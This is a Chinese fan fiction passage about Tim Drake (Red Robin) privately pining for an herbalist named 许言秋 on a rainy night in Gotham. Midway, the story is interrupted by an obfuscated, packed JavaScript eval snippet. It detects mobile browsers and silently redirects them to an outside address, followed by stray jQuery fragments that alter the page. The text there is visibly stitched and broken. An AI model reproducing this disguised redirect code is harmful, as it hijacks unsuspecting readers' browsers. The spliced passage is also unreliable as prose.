夜风掀起屋内的窗帘，初春的晚上还有些许凉意，提姆蜷在转椅里盯着震动的手机。屏幕上是许言秋十分钟前发来的消息：“明天陈伯要做春饼，来吃呀。”
句尾跟着个小猫歪头的表情——是上周他偷拍小呆的照片。指尖悬在回复键上迟迟未落，喉结随着呼吸轻轻滚动，仿佛那行字是滚烫的烙铁。
笔记本电脑自动播放着相遇时身上的摄像头拍下的录像，许言秋被火光照亮的侧脸在屏幕上反复闪现。那人转身指挥居民撤离时，淋湿的衣服紧贴着腰线，整个人都在热浪中泛着冷光。
提姆突然扣下屏幕，漆黑的液晶屏映出自己发红的耳尖。
抽屉深处的手套沾着中药柜的檀香味。上周帮忙整理药材，许言秋握着他的手腕教辨认草药，掌心温度透过棉质手套灼烧皮肤。
“这是洋甘菊，”那人低沉的嗓音擦过耳廓，“茶包里就有它，安神效果好，你应该需要。”
提姆清楚地记得当时药柜第四排第三个抽屉有七道斑驳的木纹，却恍惚已经忘记了许言秋给自己讲解的其他任何药材名称。
熟了之后就知道许言秋看似单薄的外表下丝毫不显脆弱——随着施力的动作绷出山峦般的肌理，不是健身房里浇铸出的块垒，而是古卷里走出的铸剑师，经年累月抡锤淬炼出的流水形制。
许言秋总爱穿着过分宽大的棉麻衫碾药，可当白玉杵撞上铜臼的刹那，小臂线条会在绸料下倏然隆起，如同宣纸上晕开的苍劲笔锋。
上周替他拾捡散落的银针时，提姆“不慎”擦过那人肘弯，绷紧的肌肉在触碰的瞬间轻颤，像弓弦将射未射时的震颤。
指尖无意识摩挲着精装书烫金的书脊，烫印的拉丁文在昏暗中泛着幽光。提姆突然想起许言秋教他执笔写药方，字洇开墨痕，每道褶皱都藏着那人转身时衣袂翻飞的弧线。
窗外飘来夜巡前的细雨，雨珠顺着彩绘玻璃蜿蜒成泪痕。提姆把脸埋进羊毛毯，织物纤维间蓦地窜出缕若有似无的沉香味。
座钟的铜摆晃过第九下时，提姆忽然攥紧椅背。真皮表面被抓出五道月牙痕，让他想起许言秋虎口处的旧疤——那夜在哥谭湾追查走私案，浪涛声里那人替他包扎伤口，就像在给自己系上一道羁绊。
咸涩海风卷着药香钻进领口，他在对方指尖触到锁骨时谎称要接通讯，落荒而逃的脚步声想起来仍在耳膜鼓噪。
夜风掀起窗帘，雨丝混着土地的腥味涌进来。提姆走到窗前呵气，他曾在无数个这样的夜晚幻想——如果当时许言秋的指尖再向上挪几厘米，是否会摸到他脉搏里疯长的荆棘？那些刺早已扎穿血管，随着每次夜巡时的心跳，将带着药香的血泵向四肢百骸。
雨声渐密，敲打玻璃的节奏和悬壶居捣药的声响异曲同工。提姆无意识咬住下唇，直到尝到铁锈味——那夜许言秋替他挑出手心的碎玻璃，棉签蘸着药酒划过伤口的刺痛，他忽然嫉妒起那些被碾碎的药材，能在白玉杵下与那人的掌心亲密无间。
房间没有开灯，阴影里，提姆看见自己蜷缩成十几岁的模样。那时他刚成为罗宾，在蝙蝠洞处理伤口时总咬着纱布不发一声。可现在光是想到许言秋药箱里银针的冷光，喉间就泛起潮湿的呜咽。
他憎恶这种软弱，却又在每次踏入悬壶居时，故意让鞋底多沾上一些草药碎屑——仿佛那些零星的痕迹，能在他与那人之间织出一张逃不脱的网。
雨水在玻璃上流淌成河，提姆重新蜷缩在房间最深的阴影里，指尖反复摩挲着青瓷茶盏的冰裂纹。这是上周从悬壶居“失手”带回的物件。
杯壁残留的茶渍早已干涸，却仍能嗅到许言秋指尖沾染的淡淡药香——像极了幼时母亲梳妆台上那根口红，总在他试图打开时在指缝间断开。
外面突然炸响一声春雷，惊得他手背青筋突起。这具训练有素的身体记得所有危机预兆，却对心口的钝痛束手无策。
提姆盯着电光出现过的方位，忽然想起许言秋教他辨认哥窑开片时的神情。那人说“残缺亦是造化”，可当他试图触碰展柜里的宋瓷，许言秋扣住他手腕的力度分明带着他不懂的感情——就像此刻他隔着衣料按住左胸，生怕心跳震碎这具自欺的躯壳。
雨声又起，提姆将额头抵上温热的茶盏，任记忆如潮水漫过理智的堤坝。
那日火场，许言秋单臂擎着摇摇欲坠的药架，湿透的后襟紧贴脊柱，肌理起伏如哥谭湾暗涌的浪。他本该上前帮忙，双脚却像扎进青石板的葡萄藤——早在初见的背影里，就埋下了令他溃败的毒。
“德雷克总裁该是完美的人偶。”
提姆对着窗外的雨幕低语，呵出的白雾模糊了倒影中泛红的眼尾。西装革履是凯夫拉纤维外的第二重战甲，红罗宾面具则是烙在灵魂的封印。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158412|163637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
可当许言秋用银针挑破他掌心的血泡，某种更尖锐的东西刺穿了所有伪装——不是疼痛，是那人垂眸时睫毛在眼下投的影，比蝙蝠洞最幽深的隧道更令他眩晕。
书架暗格里藏着未送出的怀表，表盖内侧刻着装饰的星图。提姆总在深夜描摹那些星座连线，幻想能拼凑出命运仁慈的预示。
可每当他鼓起勇气走向悬壶居，总会被突如其来的警报拽回现实——就像那年等来的父母的噩耗。
有些渴望生来便带着诅咒，越是紧握越成掌心荆棘。
雨声中又混进几声闷雷，提姆怔怔望着外面，惊觉自己竟徒手捏碎了茶盏。鲜血顺着指缝滴落，在地毯上绽出暗红的花。
此刻他忽然明白，对许言秋的缄默何尝不是另一种自毁：宁肯让爱意在沉默中腐化成疤，也不敢赌一句“你是否也……”
警报红光突然响起，提姆在跃上窗台的瞬间回头望了一眼。雨幕中的房间像被泡散的墨迹，而他终于承认——自己不过是个在蝙蝠面具与西装革履间流浪的鬼魂，唯有许言秋碾药时的剪影，是穿透浓雾的引魂灯。
当凯夫拉纤维裹住最后一丝体温时，他放任自己想象：若当时在火场重伤，那人替他缝合伤口的手，是否会颤抖得比他此刻的心跳更剧烈？
雨幕中的哥谭只有高高低低错落的黑暗，提姆在楼宇间腾跃时，突然想起那个宿命的午后。许言秋转身，火光穿透亚麻衬衫勾勒出腰窝的凹陷——米开朗琪罗也难以绘出的精美曲线。
此刻追捕目标的喘息近在咫尺，提姆又看见许言秋碾药时低垂的脖颈。汗珠顺着脊椎滑进衣领的轨迹，比他今夜追踪的逃犯更难以捉摸。
当钩爪枪卡在生锈的消防梯上，他突然放任自己下坠——就像八岁那年从老宅阁楼跃下，只不过这次幻想接住他的不是稻草堆，而是那人永远妥帖挽起的袖口下，看似清癯却蕴着千钧力的臂弯。
许言秋调配药散时总说“剧毒亦是良药”，可他自己现在分明是饮鸩止渴的愚人——每个借口去悬壶居的时刻，都在用锋利的匕首将渴望雕刻得更深。
许言秋呢？他会不会也……会不会……
肯定不会吧。
许言秋这个人身上总有一种奇特的安心感，给身边的人提供依靠的同时也难以被动摇，像是无言的山峦，又怎么会因为微小的人类而有些许波动？